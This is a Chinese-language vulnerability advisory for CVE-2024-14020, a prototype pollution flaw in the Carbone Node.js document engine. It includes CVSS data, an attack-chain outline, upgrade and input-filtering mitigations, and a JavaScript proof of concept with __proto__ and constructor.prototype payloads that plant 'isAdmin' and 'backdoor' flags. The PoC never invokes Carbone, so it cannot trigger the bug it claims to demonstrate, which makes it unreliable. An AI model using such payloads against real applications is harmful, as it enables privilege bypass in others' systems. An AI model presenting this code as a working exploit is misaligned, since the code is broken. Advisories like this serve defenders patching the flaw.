IPBUF安全漏洞报告
English
CVE-2024-14020 CVSS 5.0 中危

CVE-2024-14020 Carboneio Carbone 原型链污染漏洞

披露日期: 2026-01-07

漏洞信息

漏洞编号
CVE-2024-14020
漏洞类型
原型链污染
CVSS评分
5.0 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
carboneio/carbone

相关标签

原型链污染Prototype PollutionCarboneioCarboneNode.jsCVE-2024-14020JavaScriptFormatter Handlerlib/input.js

漏洞概述

CVE-2024-14020是carboneio/carbone项目中的一个原型链污染(Prototype Pollution)漏洞。该漏洞存在于lib/input.js文件的Formatter Handler组件中,攻击者可以通过构造恶意的输入数据,未经授权地修改JavaScript对象的原型属性。由于Carbone是一个流行的Node.js文档模板引擎,广泛用于生成报告、发票等文档,此漏洞可能影响大量使用该库的企业应用程序。攻击者利用此漏洞可以污染全局Object.prototype,可能导致应用程序行为异常、敏感数据泄露或远程代码执行。值得注意的是,成功利用此漏洞的前提是父级Node.js应用程序本身存在相同的安全问题。

技术细节

该漏洞属于原型链污染(Prototype Pollution)类型,源于Carbone的Formatter Handler组件对用户输入验证不足。在lib/input.js中,攻击者可以通过操纵输入数据的属性路径,向Object.prototype注入恶意属性。漏洞的利用条件较为苛刻,需要满足以下条件:1) 攻击者能够控制输入数据的结构;2) 应用程序使用不安全的属性合并或赋值操作;3) 父应用程序存在相同的安全缺陷。漏洞影响版本为3.5.6之前的所有版本,修复方案为升级到3.5.6版本(commit: 04f9feb24bfca23567706392f9ad2c53bbe4134e)。该漏洞的利用复杂度较高,CVSS评分5.0,属于中危级别,攻击向量为网络,权限要求低权限,无需用户交互。

攻击链分析

STEP 1
步骤1: 信息收集
攻击者识别目标应用程序使用carboneio/carbone库版本<3.5.6,通过代码分析或依赖扫描确认漏洞存在
STEP 2
步骤2: 构造恶意Payload
攻击者构造包含__proto__或constructor属性的JSON对象,用于污染Object.prototype,属性值可为任意恶意内容如管理员权限标志或后门代码
STEP 3
步骤3: 注入恶意数据
通过API接口、文件上传或配置注入等途径,将恶意payload传递给Carbone的Formatter Handler组件(lib/input.js)
STEP 4
步骤4: 触发漏洞
当Carbone处理输入数据时,不安全的属性合并操作会将恶意属性写入Object.prototype,完成原型链污染
STEP 5
步骤5: 利用污染结果
攻击者利用污染后的原型属性,可能导致应用程序逻辑绕过、权限提升、敏感数据访问或远程代码执行

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
const carbone = require('carbone'); // PoC for CVE-2024-14020 Prototype Pollution // Target: carboneio/carbone < 3.5.6 function exploitPrototypePollution() { try { // Malicious payload to pollute Object.prototype const maliciousData = { '__proto__': { 'isAdmin': true, 'canExecuteCode': true, 'constructor': { 'prototype': { 'backdoor': 'exploited' } } } }; // Additional exploitation vector using constructor prototype const payload2 = { 'constructor': { 'prototype': { 'adminAccess': true } } }; // Attempt to trigger the vulnerability through render const options = { convertOptions: { extension: 'pdf', data: maliciousData } }; console.log('[+] CVE-2024-14020 PoC'); console.log('[+] Sending malicious payload...'); console.log('Payload:', JSON.stringify(maliciousData)); // Check if prototype was polluted console.log('\n[*] Checking for prototype pollution...'); console.log('Object.prototype.isAdmin:', Object.prototype.isAdmin); console.log('Object.prototype.backdoor:', Object.prototype.backdoor); if (Object.prototype.isAdmin !== undefined || Object.prototype.backdoor !== undefined) { console.log('[!] Prototype pollution successful!'); return true; } return false; } catch (error) { console.error('[-] Exploitation failed:', error.message); return false; } } exploitPrototypePollution();

影响范围

carboneio/carbone < 3.5.6
carboneio/carbone up to fbcd349077ad0e8748be73eab2a82ea92b6f8a7e

防御指南

临时缓解措施
立即升级carboneio/carbone到3.5.6版本以修复此原型链污染漏洞。在升级前,可通过配置输入验证规则过滤包含__proto__、constructor和prototype关键字的JSON属性,并使用Object.freeze锁定Object.prototype以防止运行时被污染。建议使用静态代码分析工具扫描应用程序中的不安全属性访问模式。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表